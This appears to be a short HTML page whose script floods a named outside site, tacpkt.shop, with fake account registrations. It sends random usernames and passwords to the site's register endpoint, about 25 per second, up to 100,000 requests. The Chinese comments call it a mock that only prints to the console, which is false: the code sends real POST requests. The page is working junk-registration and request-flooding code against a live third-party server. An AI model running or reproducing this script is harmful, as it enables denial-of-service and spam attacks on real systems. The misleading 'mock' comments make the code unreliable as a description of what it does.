123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263 |
- <!DOCTYPE html>
- <html lang="en">
- <head>
- <meta charset="UTF-8" />
- <meta name="viewport" content="width=device-width, initial-scale=1.0" />
- <title>模拟高频请求</title>
- </head>
- <body>
- <script>
- function random1() {
- return Math.floor(Math.random() * 9000000000) + 1000000000;
- }
- function random2() {
- return Math.ceil(Math.random() * 9000000000) + 1000000000;
- }
- // 假设我们有一个模拟的API调用函数
- function mockApiCall() {
- // 在这里,我们只是简单地打印一条消息到控制台,而不是真正发送请求
- // 在实际情况下,你可能会使用fetch、axios或其他HTTP库来发送请求
- const username = random1();
- const password = random2();
- const data = new URLSearchParams();
- data.append("username", username);
- data.append("password", password);
- data.append("q_password", password);
- data.append("state", 0);
- fetch("http://tacpkt.shop/index/login/register", {
- method: "POST",
- headers: {
- Cookie: "think_var=zh-cn",
- "X-Requested-With": "XMLHttpRequest",
- Origin: "http://tacpkt.shop",
- Host: "tacpkt.shop",
- },
-
- body: data,
- });
- }
-
- // 例如,我们每秒发送10次请求
- const requestsPerSecond = 5;
- let counter = 0;
-
- // 使用setInterval来模拟每秒发送请求
- const intervalId = setInterval(() => {
- // 每次调用mockApiCall函数,并增加计数器
- for (let i = 0; i < requestsPerSecond; i++) {
- mockApiCall();
- }
- // 增加计数器,用于监控已经发送的请求数量
- counter += requestsPerSecond;
- console.log(`已发送 ${counter} 个请求`);
-
- // 如果你想要在某个点停止发送请求,可以清除interval
- // 例如,当发送了100个请求后停止
- if (counter >= 100000) {
- clearInterval(intervalId);
- console.log("停止发送请求");
- }
- }, 1000 / requestsPerSecond); // 调整时间间隔以匹配每秒的请求数
- </script>
- </body>
- </html>
|